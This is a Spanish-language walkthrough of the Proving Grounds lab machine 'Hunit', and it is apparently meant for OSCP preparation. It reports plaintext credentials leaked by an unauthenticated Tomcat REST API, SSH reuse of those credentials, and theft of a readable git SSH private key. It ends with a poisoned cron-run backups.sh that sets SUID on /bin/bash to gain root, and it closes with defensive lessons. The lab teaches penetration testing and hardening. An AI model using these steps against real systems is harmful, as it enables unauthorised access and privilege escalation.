the_open_door
café
ESEN

Hunit

Proving Grounds PracticeMediaLinux192.168.206.125

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#tomcat#rest-api#info-disclosure#plaintext-credentials#ssh#credential-reuse#ssh-private-key#git#cron#suid#oscp
TL;DR. Una API REST mal protegida en el Tomcat de Hunit (8080) expone la tabla de usuarios con contraseñas en claro (fuga de información en APIs); con dademola entramos por SSH (reutilización de credenciales). Como usuario encontramos una clave privada SSH legible que da acceso a un repositorio Git que root despliega por cron. Envenenamos un script del repo, hacemos push y el cron lo ejecuta como root (RCE vía repo Git en cron), poniendo el bit SUID a bash.

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. La caja solo expone cuatro puertos, todos en rangos altos:

ping -c 1 192.168.206.125
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.206.125
PORT      STATE SERVICE
8080/tcp  open  http
12445/tcp open  netbios-ssn
18030/tcp open  http
43022/tcp open  ssh
nmap -p8080,12445,18030,43022 -sCV 192.168.206.125 -oN targetedScan
PORT      STATE SERVICE     VERSION
8080/tcp  open  http        Apache Tomcat (language: en)
|_http-title: My Haikus
12445/tcp open  netbios-ssn Samba smbd 4
18030/tcp open  http        Apache httpd 2.4.46 ((Unix))
|_http-title: Whack A Mole!
43022/tcp open  ssh         OpenSSH 8.4 (protocol 2.0)

Nada está donde se espera: el SSH vive en el 43022, el Samba en el 12445 y hay dos servidores web. El 8080 sirve una aplicación Tomcat llamada My Haikus, candidata principal por ser una aplicación de negocio (la otra, Whack A Mole! en el 18030, parece un juego estático).

TCP 8080: descubrimiento de rutas

Lanzamos un descubrimiento de contenido sobre la aplicación de haikus:

dirsearch -u http://192.168.206.125:8080/ --exclude-status=403,404 -t 200
[13:50:37] 200 -  148B  - /api/
[13:50:46] 500 -  105B  - /error/

Aparece un endpoint /api/. Una aplicación con API REST suele ser más interesante que su frontend: las APIs a menudo exponen objetos internos sin el control de acceso que sí tiene la web.

API REST: contraseñas en claro

Pedimos el índice de la API y vamos recorriendo los recursos que ofrece. Uno de ellos es /user/:

curl http://192.168.206.125:8080/api/ | jq
curl http://192.168.206.125:8080/api/user/ | jq
[
  {
    "login": "dademola",
    "password": "ExplainSlowQuest110",
    "firstname": "Derik",
    "lastname": "Ademola",
    "description": "Admin",
    "id": 6
  }
]

El endpoint /api/user/ devuelve la tabla de usuarios completa con las contraseñas en texto plano (fuga de información en APIs). No hay autenticación ni filtrado: cualquiera que conozca la ruta lee credenciales reales. Nos quedamos con dademola:ExplainSlowQuest110, marcado como Admin.

Shell como dademola

SSH con las credenciales filtradas

Probamos la credencial directamente contra el SSH del puerto 43022 (reutilización de credenciales):

ssh dademola@192.168.206.125 -p 43022

Login SSH correcto como dademola en hunit por el puerto 43022

dademola@192.168.206.125's password:
Last login: Fri Jan 16 13:00:15 2026 from 192.168.45.177
[dademola@hunit ~]$ whoami
dademola

Entra a la primera. Leemos la prueba de usuario:

cat local.txt && whoami && ip a

local.txt leída como dademola en hunit (192.168.206.125)

4c2832e08ee5b8075e6ec5c196a17d0c

Escalada de privilegios

Enumeración: una clave privada SSH legible

Subimos linpeas.sh (repo) y lo ejecutamos para enumerar el sistema:

# en Kali
python3 -m http.server 8080
# en hunit
wget http://192.168.45.177:8080/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

La sección de Cron jobs de linpeas marca en rojo /etc/crontab.bak, una copia del crontab que no debería estar ahí y que confirma que la caja tiene tareas programadas propias (los cron.d/cron.daily por defecto solo traen 0hourly):

linpeas, sección Cron jobs: resalta /etc/cron.deny y /etc/crontab.bak, y los cron.d/cron.daily solo con 0hourly

╔══════════╣ Cron jobs
/usr/bin/crontab
incrontab Not Found
-rw-r--r-- 1 root root  74 Oct 31  2019 /etc/cron.deny
-rw-r--r-- 1 root root  66 Jan 15  2021 /etc/crontab.bak

/etc/cron.d:
total 12
-rw-r--r-- 1 root root  128 Oct 31  2019 0hourly

/etc/cron.daily:
total 8

Ese crontab.bak es la primera pista de que algo se ejecuta periódicamente como root; el qué se confirmará más adelante, cuando el bit SUID aparezca solo. Más abajo, linpeas resalta una clave privada SSH legible en el home de un usuario git: /home/git/.ssh/id_rsa. Es un material sensible que no debería ser accesible y que sugiere la existencia de un servidor Git interno:

linpeas resaltando una clave privada SSH (BEGIN OPENSSH PRIVATE KEY) en /home/git/.ssh/id_rsa

Searching ssl/ssh files
-rwxr-xr-x 1 root root 2590 Nov  5  2020 /home/git/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn...<SNIP>

La clave /home/git/.ssh/id_rsa es legible (-rwxr-xr-x), lo que sugiere un servidor Git interno.

Repositorio Git desplegado por cron

Copiamos la clave, le damos permisos restrictivos y la usamos para clonar el repositorio git-server a través del SSH del puerto 43022:

cp /home/git/.ssh/id_rsa .
chmod 600 id_rsa
GIT_SSH_COMMAND="ssh -i id_rsa -p 43022" git clone git@localhost:/git-server
ls

git clone correcto del repo git-server usando la clave id_rsa por el puerto 43022

Cloning into 'git-server' ...
remote: Enumerating objects: 12, done.
remote: Total 12 (delta 2), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (12/12), done.
Resolving deltas: 100% (2/2), done.
[dademola@hunit tmp]$ ls
git-server  id_rsa  linpeas.sh

El repositorio contiene un backups.sh. La pieza que cierra la cadena es que root ejecuta ese script por cron tras desplegar el repositorio: si modificamos backups.sh y enviamos el cambio, el cron lo correrá con privilegios de root (RCE vía repo Git en cron). Como tenemos la clave privada del usuario git, podemos hacer push.

Envenenar el script y hacer push

Dentro del repo hay tres ficheros (NEW_CHANGE, README y backups.sh) y el script está prácticamente vacío: solo un comentario # # Placeholder. Eso es lo que hace la trampa tan cómoda, porque añadir una línea al final no rompe nada de lo que el cron esperaba ejecutar. Le ponemos el chmod u+s /bin/bash, lo dejamos ejecutable y lo preparamos para el commit:

cd git-server/
ls
cat backups.sh
echo 'chmod u+s /bin/bash' >> backups.sh
chmod 777 backups.sh
git add .

El repo git-server contiene NEW_CHANGE, README y backups.sh; el script solo tiene un Placeholder y se le añade el chmod u+s

[dademola@hunit tmp]$ cd git-server/
[dademola@hunit git-server]$ ls
NEW_CHANGE  README  backups.sh
[dademola@hunit git-server]$ cat backups.sh
#!/bin/bash
#
#
# # Placeholder
#

git no deja confirmar sin identidad, así que se configura una cualquiera y se hace el commit:

git config --global user.name "Dademola"
git config --global user.email "dademola@example.com"
git commit -m "pwned" .

git commit pwned: 1 file changed, 1 insertion y el cambio de modo 100644 a 100755 en backups.sh

[master d23e940] pwned
 1 file changed, 1 insertion(+)
 mode change 100644 => 100755 backups.sh

El commit registra las dos cosas que interesan: la línea añadida y el cambio de modo a 100755, es decir, que el fichero viaja ya con permiso de ejecución. Solo queda enviarlo:

GIT_SSH_COMMAND="ssh -i /tmp/id_rsa -p 43022" git push origin master

git push origin master correcto contra git-server tras envenenar backups.sh

Enumerating objects: 5, done.
Writing objects: 100% (3/3), 347 bytes | 347.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
To localhost:/git-server
   b50f4e5..d23e940  master -> master

El push entra: master -> master. Ahora solo hay que esperar al cron de root.

bash con SUID, a root

Esperamos a que el cron de root despliegue el repositorio y ejecute nuestro backups.sh. Al poco, /bin/bash aparece con el bit SUID activo; lanzamos bash -p para conservar el euid=0 (abuso de SUID):

ls -l /bin/bash
bash -p
whoami

/bin/bash con permisos -rwsr-xr-x y bash -p devolviendo root en hunit

-rwsr-xr-x 1 root root 928016 Aug  9  2020 /bin/bash

Leemos la prueba final:

cat /root/proof.txt && whoami && ip a

proof.txt leída como root en hunit (192.168.206.125)

d9521a48baf0a2993fdaccd48f6671b1

Cadena de ataque

Tomcat /api/user/ (8080)  --  tabla de usuarios con contrasenas en claro  ->  dademola:ExplainSlowQuest110
        │  ssh -p 43022  (reutilizacion de credenciales)
        ▼
shell como dademola  (local.txt)
        │  linpeas -> /home/git/.ssh/id_rsa legible
        │  git clone git@localhost:/git-server  (repo desplegado por cron de root)
        ▼
backups.sh envenenado (chmod u+s /bin/bash) + git push
        │  cron de root ejecuta backups.sh
        ▼
/bin/bash con SUID -> bash -p -> root  (proof.txt)

Lecciones aprendidas

  • Las APIs filtran lo que el frontend protege. La web no mostraba contraseñas, pero /api/user/ las servía en claro sin autenticación. Toda superficie REST debe aplicar el mismo control de acceso y nunca devolver campos sensibles.
  • Contraseñas en texto plano y reutilizadas. El mismo valor abrió el SSH. Hashear las credenciales y no reutilizarlas habría cortado el salto entre la API y el acceso interactivo.
  • Una clave privada legible es una puerta. /home/git/.ssh/id_rsa accesible por otro usuario entrega el control del repositorio. Las claves privadas deben tener permisos 600 y dueño exclusivo.
  • Automatizar con permisos de root sobre contenido modificable es peligroso. Que root despliegue y ejecute por cron un repositorio en el que un usuario puede escribir convierte un git push en ejecución de código como root. El pipeline debe validar y firmar lo que ejecuta, y correr con el mínimo privilegio.
Cheatsheet de comandos 11 comandos

Repaso rápido